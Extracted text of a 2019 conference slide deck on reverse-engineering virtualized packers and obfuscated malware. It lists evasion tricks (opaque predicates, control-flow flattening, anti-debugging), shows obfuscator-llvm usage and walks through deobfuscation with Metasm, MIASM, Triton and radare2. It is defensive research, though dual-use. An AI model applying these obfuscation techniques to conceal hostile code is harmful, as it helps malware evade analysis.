ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  Have you tried to open the packer in IDA Pro? First sight: only red and grey blocks (non-functions and data). ü  Eventually, data blocks could hold VM handlers... ü  Original code section could be “splitted” and “scattered” around the program (data and instructions are mixed in the binary, without having just one instruction block) ü  Instructions which are referencing import functions could have been either zeroed or replaced by NOP. L Most certainly, they will be restored (re-inserted) dynamically by the packer later. ü  The “hidden” function code could be copied (memcpy( )) to memory allocated by VirtualAlloc( ) J Of course, there must be a fixup in the code to get these instructions. DEF"CON"CHINA"1.0"(2019)" 19" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü Custom packers usually don’t virtualize all x86 instructions. ü It is common to see a kind of mix between virtualized, native instructions and data after the packing procedure. ü Native APIs could be redirected to stub code, which forwards the call to (copied) native DLLs (from the respective APIs). ü API call instructions, which would make direct references to the IAT, are usually translated to short jumps using RVA, for the same import address (“IAT obfuscation”) J ü Worse, the API names could be hashed (as used in shellcodes). J DEF"CON"CHINA"1.0"(2019)" 20" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü By the way, how many virtualized instructions exist? ü Are we able to classify virtualized instructions in groups according to operands and their purpose (memory access, arithmetic, general, an so on)? ü Pay attention to instruction’s stem to put similar classes of instructions together (for example, jump instructions, direct calls, indirect calls and so on). ü Are virtualized instructions based (similar) to x86 instructions? ü Have the processor flags’s meaning been modified? DEF"CON"CHINA"1.0"(2019)" 21" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü What are the “key instructions” that are responsible to make the transition from x86 mode to “virtualized mode”? ü Remember: usually, registers and flags (EFLAGS) are saved onto the stack before “crossing over” to the VM environment. ü What are the responsible instructions to transfer the control back to the x86 world? ü Most of the time, during the “context transition”, parameters are pushed on the stack. J DEF"CON"CHINA"1.0"(2019)" 22" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü The VM interpreter code, which is responsible for translating x86 instructions to VM instructions, is usually obfuscated. ü The own VM instructions are also compressed and encrypted (xor’ed, mostly) ü As I’ve mentioned previously, usually there are many VM instruction codes to only one x86 instructions. ü There are two stacks: one from x86 land and another from VM land. ü Stack from virtualized context may grow upward, different from x86 standard. ü Sometimes, the protector doesn’t copy the x86 context into the Virtual Machine. In this case, it prefers to save the context (registers content + flag) to use later. DEF"CON"CHINA"1.0"(2019)" 23" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü It is interesting to find out the VM instruction’s size, which we might fit into a structure that represents encryption key, data, RVA (location), opcode (type) and so on. ü  As custom virtualized packers don’t have a virtualized instruction to every single x86 instruction, so it is recommended to find handlers to native x86 instructions (non-virtualized instruction) ü Usually, handlers to non-virtualized instructions exit from VM environment from a short period, execute the x86 instruction and return to the virtual machine environment. ü In this case, x86 instructions are also kept encrypted and compressed together with the virtualized instructions. DEF"CON"CHINA"1.0"(2019)" 24" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  Constant unfolding: technique used by obfuscators to replace a contant by a bunch of code that produces the same resulting constant’s value. ü  Pattern-based obfuscation: exchange of one instruction by a set of equivalent instructions. ü  Abusing inline functions. ü  Anti-VM techniques: prevents the malware sample to run inside a VM. ü  Dead (garbage) code: this technique is implemented by inserting codes whose results will be overwritten in next lines of code or, worse, they won’t be used anymore. ü  Code duplication: different paths coming into the same destination (used by virtualization obfuscators). DEF"CON"CHINA"1.0"(2019)" 25" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  Control indirection 1: call instruction à stack pointer update à return skipping some junk code after the call instruction (RET x). ü  Control indirection 2: malware trigger an exception à registered exception is called à new branch of instructions. ü  Opaque predicate: Although apparently there is an evaluation (conditional jump: jz/jnz), the result is always evaluated to true (or false), which means an unconditional jump. Thus, there is a dead branch. ü  Anti-debugging: used as irritating techniques to slow the process analysis. ü  Polymorphism: it is produced by self-modification code (like shellcodes) and by encrypting resources (similar most malware samples). DEF"CON"CHINA"1.0"(2019)" 26" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  Call stack manipulation: Changes the stack flow by using instruction tricks composed with the ret instruction, making the real ret hidden. ü  Is it possible to deobfuscate virtualized instructions? Yes, it is possible using reverse recursive substitution (similar -- not equal -- to backtracking feature from Metasm). ü  Additionally, symbolic equation system is another good approach (again...., Metasm and MIASM!). ü  There are many good plugins such as Code Unvirtualizer, VMAttack, VMSweeper, and so on, which could be used to handle simple virtualization problems. ü  Some evolution of the instruction virtualizers has risen using simple and efficient concepts of crytpography as Substitution Boxes (S-Boxes). DEF"CON"CHINA"1.0"(2019)" 27" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  It is quick to create a simple IDA Pro plugin. Download the IDA SDK from https:// www.hex-rays.com/products/ida/support/download.shtml (likely, you will need a professional account). Copy it to a folder (idasdk695/) within the IDA Pro installation directory. ü  Create a project in Visual Studio 2017 (File à New à Create Project à Visual C++ à Windows Desktop à Dynamic-Link Library (DLL)). ü  Change few project properties as shown in this slide and next ones. DEF"CON"CHINA"1.0"(2019)" 28" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  Include the “__NT__;__IDP__” in Processor Definitions and change Runtime Library to “Multi-threaded” (MT) (take care: it is NOT /MTd). DEF"CON"CHINA"1.0"(2019)" 29" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  Add ida.lib (from C:\Program Files (x86)\IDA 6.95\idasdk695\lib\x86_win_vc_32) to Additional Dependencies and its folder to Additional Library Directories. ü  Add “/EXPORT:PLUGIN” to Additional Options. DEF"CON"CHINA"1.0"(2019)" 30" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Don’t forget necessary headers. J Initialization function. Make the plugin available to this idb and keep the plugin loaded in memory. Clean-up tasks. Function to be called when user activates the plugin. Simple (and incomplete) URL regex. J DEF"CON"CHINA"1.0"(2019)" 31" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Plugin will be activated by combination ALT-X. J Plugin structure. The core logic is only it. It checks whether the string matches to the URL regex. If checks, so ea == strinfo.ea. J It gets the number of strings from “Strings view”. It gets the string. DEF"CON"CHINA"1.0"(2019)" 32" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" URLs found within this malicious driver. J ALT + X DEF"CON"CHINA"1.0"(2019)" 33" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Ø  decodes instructions and fill structures with the result (ana.cpp) ü  IDA processor modules continue being the one of best approach to handle virtualized packers. ü  Please, you should remember on few important points (as mentioned by Ilfak from Hex-Rays) about how to write an IDA processor modules: Ø  processes the commands decoded by analyser (amu.cpp) Ø  creates cross-references. Ø  tracks the register content. Ø  tracks the register content. Ø  Writes the output a handled output containing prefix, comments and xrefs (out.cpp) ü  write a analyser ü  Modify (or write) an emulator ü  write a outputter ü  The IDA Pro SDK documentation and samples are always great. J Processor Module DEF"CON"CHINA"1.0"(2019)" 34" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  This technique is used to hide the real control flow of a program. ü  In a general way, the idea is to break the control-flow by removing if-statements and loops, transforming the flow in a series of switch-case statements. ü  Thus, there is a dispatcher handing over the control flow to handlers, which each handler updates the instruction pointer to the value of the next handler to be executed (virtualize the flow control). ü  Usually there is an invocation stub, which makes the transition to from native instructions to the virtualized instruction. ü  Code-flow graph flattening: ü  This approach presents two reversing problems: the mapping can be from CISC to RISC instruction and the original registers can be turned into special registers from VM. ü  Because trade-offs, CFG is only applied to specific functions DEF"CON"CHINA"1.0"(2019)" 35" #include <stdio.h> int main (void) { int aborges = 0; while (aborges < 30) { printf(“%d\n”, aborges); aborges++; } return 0; } Loading libs aborges = 0 aborges < 30 printf( ) aborges++ return 0 ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 36" cc = 1 cc != 0 switch(cc) aborges < 30 cc = 0 cc = 3 break aborges = 0 cc = 2 break printf aborges++ break cc = 2 loading libs cc!=!1! cc!=!2! cc!=!3! v  Disavantages: ü  Loss of performance ü  Easy to identify the CFG flattening ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 37" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Original Program DEF"CON"CHINA"1.0"(2019)" 38" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  The obfuscator-llvm is an excellent project to be used for code obsfuscation. To install it, it is recommended to add a swap file first (because the linkage stage): ü  fallocate -l 8GB /swapfile ü  chmod 600 /swapfile ü  mkswap /swapfile ü  swapon /swapfile ü  swapon --show ü  apt-get install llvm-4.0 ü  apt-get install gcc-multilib (install gcc lib support to 32 bit) ü  git clone -b llvm-4.0 https://github.com/obfuscator-llvm/obfuscator.git ü  mkdir build ; cd build/ ü  cmake -DCMAKE_BUILD_TYPE=Release -DLLVM_INCLUDE_TESTS=OFF ../ obfuscator/ ü  make -j7 ü  Possible usages: ü  ./build/bin/clang alexborges.c -o alexborges -mllvm -fla ü  ./build/bin/clang alexborges.c -m32 -o alexborges -mllvm -fla ü  ./build/bin/clang alexborges.c -o alexborges -mllvm -fla -mllvm -sub DEF"CON"CHINA"1.0"(2019)" 39" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Main dispatcher Prologue and initial assignment DEF"CON"CHINA"1.0"(2019)" 40" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Main blocks from the program DEF"CON"CHINA"1.0"(2019)" 41" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" General overview of the obfuscate code DEF"CON"CHINA"1.0"(2019)" 42" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 43" .text:00401000 loc_401000: ; CODE XREF: _main+Fp .text:00401000 push ebp .text:00401001 mov ebp, esp .text:00401003 xor eax, eax .text:00401005 jz short near ptr loc_40100D+1 .text:00401007 jnz near ptr loc_40100D+4 .text:0040100D .text:0040100D loc_40100D: ; CODE XREF: .text:00401005j .text:0040100D ; .text:00401007j .text:0040100D jmp near ptr 0D0A8837h Simple opaque predicate and anti-disassembly technique ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 44" Decrypted shellcode Decryption instructions J ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 45" 00401040 call + $5 00401045 pop ecx 00401046 inc ecx 00401047 inc ecx 00401048 add ecx, 4 00401049 add ecx, 4 0040104A push ecx 0040104B ret 0040104C sub ecx, 6 0040104D dec ecx 0040104E dec ecx 0040104F jmp 0x401320 v Call stack manipulation: ü  Do you know what’s happening here? J ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" "METASM (keystone + capstone + unicorn) DEF"CON"CHINA"1.0"(2019)" 46" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 47" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" sub!eax,!B9! add!eax,ecx! add!eax,!B9! sub!eax,!B9! sub!eax,!86! add!eax,ecx! add!eax,!86! push!edx! mov!edx,!42! inc!edx! dec!edx! add!edx,!77! add!eax,!edx! pop!edx! push!ebx! mov!ebx,!B9! sub!eax,!ebx! pop!ebx! sub!eax,!55! sub!eax,!32! add!eax,!ecx! add!eax,!50! add!eax,!37! push!edx! push!ecx! mov!ecx,!49! mov!edx,!ecx! pop!ecx! inc!edx! add!edx,!70! dec!edx! add!eax,!edx! pop!edx! add!eax,!ecx!! 1! 2! 3! 4! How to reverse the obfuscation and, from stage 4, to return to the stage 1? J DEF"CON"CHINA"1.0"(2019)" 48" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  METASM works as disassembler, assembler, debugger, compiler and linker. ü  Key features: ü  Written in Ruby ü  C compiler and decompiler ü  Automatic backtracking ü  Live process manipulation ü  Supports the following architecture: ü  Intel IA32 (16/32/64 bits) ü  PPC ü  MIPS ü  Supports the following file format: ü  MZ and PE/COFF ü  ELF ü  Mach-O ü  Raw (shellcode) ü  root@kali:~/programs# git clone https://github.com/jjyg/metasm.git ü  root@kali:~/programs# cd metasm/ ü  root@kali:~/programs/metasm# make ü  root@kali:~/programs/metasm# make all ü Include the following line into .bashrc file to indicate the Metasm directory installation: ü export RUBYLIB=$RUBYLIB:~/programs/metasm DEF"CON"CHINA"1.0"(2019)" 49" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" This instruction was inserted to make the eax register evaluation easier. J v  based on metasm.rb file and Bruce Dang code. DEF"CON"CHINA"1.0"(2019)" 50" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" initialize and disassemble code since beginning (start). list the assembly code. determines which is the final instruction to walk back from there. J initialize the backtracking engine. DEF"CON"CHINA"1.0"(2019)" 51" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Backtracking from the last instruction. Show only the effective instructions, which really can alter the final result. logs the sequence of backtracked instructions. DEF"CON"CHINA"1.0"(2019)" 52" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Remember:!this!is!our!obfuscated!code.!J! DEF"CON"CHINA"1.0"(2019)" 53" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 54" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Game!over.! J DEF"CON"CHINA"1.0"(2019)" 55" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Output"originated"from"backtracing_log.select" command"(in"reverse)" DEF"CON"CHINA"1.0"(2019)" 56" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  Emulation is always an excellent method to solve practical reverse engineering problems and , fortunately, we have the uEmu and also could use the Keystone Engine assembler and Capstone Engine disassembler. J ü  Keystone Engine acts an assembler and: ü  Supports x86, Mips, Arm and many other architectures. ü  It is implemented in C/C++ and has bindings to Python, Ruby, Powershell and C# (among other languages). ü  Installing Keystone: ü  root@kali:~/Desktop# wget https://github.com/keystone-engine/keystone/archive/0.9.1.tar.gz ü  root@kali:~/programs# cp /root/Desktop/keystone-0.9.1.tar.gz . ü  root@kali:~/programs# tar -zxvf keystone-0.9.1.tar.gz ü  root@kali:~/programs/keystone-0.9.1# apt-get install cmake ü  root@kali:~/programs/keystone-0.9.1# mkdir build ; cd build ü  root@kali:~/programs/keystone-0.9.1/build# apt-get install time ü  root@kali:~/programs/keystone-0.9.1/build# ../make-share.sh ü  root@kali:~/programs/keystone-0.9.1/build# make install ü  root@kali:~/programs/keystone-0.9.1/build# ldconfig ü  root@kali:~/programs/keystone-0.9.1/build# tail -3 /root/.bashrc ü  export PATH=$PATH:/root/programs/phantomjs-2.1.1-linux-x86_64/bin:/usr/local/bin/kstool ü  export RUBYLIB=$RUBYLIB:~/programs/metasm ü  export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib DEF"CON"CHINA"1.0"(2019)" 57" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" instructions from the original obsfuscated code Creating a keystone engine Assembling our instructions using keystone engine. Freeing memory and closing engine. DEF"CON"CHINA"1.0"(2019)" 58" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 59" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" To install Capstone: apt-get install libcapstone3 libcapstone-dev J DEF"CON"CHINA"1.0"(2019)" 60" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Original!code!disassembled! by!Capstone.!J! DEF"CON"CHINA"1.0"(2019)" 61" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" IDA!Pro!confirms!our! disassembly!task.!J! DEF"CON"CHINA"1.0"(2019)" 62" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" set up before running uEmu This result confirms our previous conclusion. ü  Download uEmu from https://github.com/alexhude/ uEmu ü  Install Unicorn: pip install unicorn. ü  Load uEmu in IDA using ALT+F7 hot key. ü  Right click the code and choose the uEmu sub-menu. DEF"CON"CHINA"1.0"(2019)" 63" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  # git clone https://github.com/unicorn-engine/unicorn.git ü  # cd unicorn ; ./make.sh ü  # ./make.sh install DEF"CON"CHINA"1.0"(2019)" 64" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 65" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 66" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 67" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 68" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 69" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" "MIASM DEF"CON"CHINA"1.0"(2019)" 70" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 71" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  MIASM is one of most impressive framework for reverse engineering, which is able to analyze, generate and modify several different types of programs. ü  MIASM supports assembling and disassembling programs from different platforms such as ARM, x86, MIPS and so on, and it also is able to emulate by using JIT. ü  Therefore, MIASM is excellent to de-obfuscation. ü  Installing MIASM: ü  git clone https://github.com/serpilliere/elfesteem.git elfesteem ü  cd elfesteem/ ü  python setup.py build ü  python setup.py install ü  apt-get install clang texinfo texi2html ü  apt-get remove libtcc-dev ü  apt-get install llvm ü  cd .. ü  git clone http://repo.or.cz/tinycc.git ü  cd tinycc/ ü  git checkout release_0_9_26 ü  ./configure --disable-static ü  make ü  make install DEF"CON"CHINA"1.0"(2019)" 72" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  pip install llvmlite ü  apt-get install z3 ü  apt-get install python-pycparser ü  git clone https://github.com/cea-sec/miasm.git ü  root@kali:~/programs/miasm# python setup.py build ü  root@kali:~/programs/miasm# python setup.py install ü  root@kali:~/programs/miasm/test# python test_all.py ü  apt-get install graphviz ü  apt-get install xdot ü  (testing MIASM) root@kali:~/programs# python /root/programs/miasm/example/disasm/ full.py -m x86_32 /root/programs/shellcode INFO : Load binary INFO : ok INFO : import machine... INFO : ok INFO : func ok 0000000000001070 (0) INFO : generate graph file INFO : generate intervals [0x1070 0x10A2] INFO : total lines 0 ü  (testing MIASM) xdot graph_execflow.dot DEF"CON"CHINA"1.0"(2019)" 73" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 74" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Opens our file. The Container provides the byte source to the disasm engine. Instantiates the assemble engine using the x86 32-bits architecture. Runs the recursive transversal disassembling since beginning. Generates a dot graph. Set “llvm” as Jit engine to emulation and initialize the stack. Set the virtual start address, register values and memory protection. Adds a breakpoint at the last line of code. Run the emulation. DEF"CON"CHINA"1.0"(2019)" 75" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Disassembling our code (again) J DEF"CON"CHINA"1.0"(2019)" 76" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 77" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Our proposed code. J DEF"CON"CHINA"1.0"(2019)" 78" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Get the IRA converter. Initialize and run the Symbolic Execution Engine. DEF"CON"CHINA"1.0"(2019)" 79" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 80" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" The same conclusion from our previous tests. J ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" "TRITON DEF"CON"CHINA"1.0"(2019)" 81" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 82" q  TRITON" " ü It"can"be"downloaded"from"https://triton.quarkslab.com/" ü Based"on"Intel"Pin"instrumentation"tool:"https://software.intel.com/en-us/ articles/pin-a-dynamic-binary-instrumentation-tool" ü Triton"offers"a"C/C++/Python"interface"provides:" "" ü dynamic"symbolic"execution" ü run"time"registry"information"and"memory"modification" ü taint"engine" ü Z3"interface"to"handle"contraints" ü snapshot"engine"(it"is"not"necessary"to"restart"the"program"every"time," but"only"restores"memory"and"register"states)" ü access"to"Pin"funtions" ü symbolic"fuzzing" ü gather"code"coverage"" ü Supports"x86"and"x64"architecture."" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 83" ü Triton"supports:"" ü symbolic"execution"mode:" ü emulates"instruction"effects." ü allows"us"to"emulate"only"part"of"the"program"(excellent"for" analyzing"branches)." " ü concolic"execution"mode:" ü "allows"us"to"analyze"the"program"only"from"start." " ü Taint"analysis"is"amazing"because"we"are"able"to"using"in"fuzzing"tasks"to" know"what"registers"and"memory"address"are"“affected”"by"the"user"data" input."J" ü During"Virtual"Machine’s"decoding,"it"is"interesting"to"distinguish"which" instructions"are"related"to"user"input"and"which"are"not."J" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 84" v  Installing Triton without Pin (Ubuntu 19): ü  apt-get install libboost-all-dev ü  apt-get install libpython-dev ü  apt-get install libcapstone-dev ü  Take care: DO NOT install libz3-dev. If this package is already installed, so remove it. ü  git clone https://github.com/Z3Prover/z3 ü  cd z3/ ü  python scripts/mk_make.py ü  cd build/ ü  make ü  make install ü  git clone https://github.com/JonathanSalwan/Triton.git ü  cd Triton/ ü  mkdir build ü  cd build/ ü  cmake .. ü  make -j install (my recommendation: 8 GB RAM + 8 GB swapfile) ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 85" ü  Installing Triton with Pin (Ubuntu 19): ü  Install the same packages from last slide. ü  Install Z3 as shown in the last slide. ü  wget https://software.intel.com/sites/landingpage/pintool/ downloads/pin-2.14-71313-gcc.4.4.7-linux.tar.gz ü  tar zxvf pin-2.14-71313-gcc.4.4.7-linux.tar.gz ü  cd pin-2.14-71313-gcc.4.4.7-linux/source/tools ü  git clone https://github.com/JonathanSalwan/Triton.git ü  cd Triton/ ü  mkdir build ü  cd build ü  cmake -DPINTOOL=on -DKERNEL4=on .. ü  make ü  cd .. ü  ./build/triton ./src/examples/pin/ir.py /usr/bin/host (only to test the installation). ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 86" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 87" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 88" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 89" This"is"an"educational"way"to"show"how" to"find"the"hexadecimal"representation" for"each"instruction." " However,"there"are"much"better"ways" to"do"it"by"opening"the"binary"on"IDA" Pro,"Radare2,"Ghidra"or"even"using" distorm3."" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 90" byte by byte J ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 91" 0xb9 == 185 J eax ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 92" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 93" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 94" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 95" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 96" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" "RADARE2 + MIASM DEF"CON"CHINA"1.0"(2019)" 97" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 98" ESIL comment ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 99" ü  aer: handle ESIL registers (set and show) ü  aes: perform emulated debugger step ü  aecu: continue until address ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 100" R2M2 bridges the radare2 and miasm2 communities: radare2 being the graphical interface of miasm2, and miasm2 simplifying the implementation of new architectures. How to install it? ü  apt-get install docker ü  git clone https://github.com/radare/radare2.git ü  cd radare2/ ü  sys/install.sh ü  Install MIASM ü  pip install cffi ü  pip install jinja2 ü  docker pull guedou/r2m2 ü  docker run --rm -it -e 'R2M2_ARCH=x86_32' guedou/r2m2 bash ü  [r2m2@fd5662d151e4 ~]$ pwd ü  (another terminal) docker ps -a ü  (another terminal) docker cp /root/defcon2019.bin fd5662d151e4:/home/r2m2/ defcon2019.bin ü  [r2m2@fd5662d151e4 ~]$ export R2M2_ARCH=x86_32 ü  [r2m2@fd5662d151e4 ~]$ r2 -A -b 32 -a r2m2 defcon2019.bin ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 101" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 102" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" "DTRACE on WINDOWS DEF"CON"CHINA"1.0"(2019)" 103" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 104" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  DTrace is a dynamic tracing framework, which is very efficient and famous on Solaris operating system. ü  Dtrace was initially written by Mike Shapiro, Adam Leventhal and Brian Cantrill at Sun Microsystems. Although they were developing DTrace since 2003, it was only introduced in Solaris 10 03/05. ü  It is used to get a real time overview of a system in user and kernel mode. Furthermore, it can be used to understand how application and systems are behaving. ü  Few months ago, DTrace was ported to Windows: https://github.com/ opendtrace/opendtrace/tree/windows ü  DTrace is could be summarized as a set of probes (sensors) scattered over the key point in th kernel. Thus, every time that a probe is “activated”, it is possible to register and understand the application behavior. ü  Using DTrace makes easier to trace the profile of a process and the system, find which system calls are “called”, how many bytes are written/read by a process, file opened by a process, tracing the sequence of called system calls and so on. DEF"CON"CHINA"1.0"(2019)" 105" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  DTrace scripts are written in D language (similar to awk). ü  Probe names are described by the following syntaxe: provider:module:function:name where: ü  provider: library of probes used to instrument an area of the system. On Windows, the existing providers are syscall, etw, profile, pid and dtrace. ü  module: kernel module where we find the probe. ü  function: function contaning the probe. ü  name: specific name or description of the target probe. ü  Key concepts: ü  predicates: user defined conditions. ü  actions: tasks that are run when a probe fires. ü  aggregations: coalesce data using aggregation functions. DEF"CON"CHINA"1.0"(2019)" 106" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  To install DTrace: ü  Windows 10 x64 (build 18342 or later) from Windows Insider Program. ü  bcdedit.exe /set dtrace on ü  Download DTrace package: http://download.microsoft.com/download/B/ D/4/BD4B95A5-0B61-4D8F-837C-F889AAD8DAA2/DTrace.amd64.msi ü  _NT_SYMBOL_PATH=srv*C:\symbols*https://msdl.microsoft.com/ download/symbols ü  Reboot the system. ü  Open a command prompt as administrator. ü  If you are using fbt (function boundary tracing), so it is necessary to attach the WinDbg and boot the Windows in debug mode. J DEF"CON"CHINA"1.0"(2019)" 107" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 108" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 109" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 110" 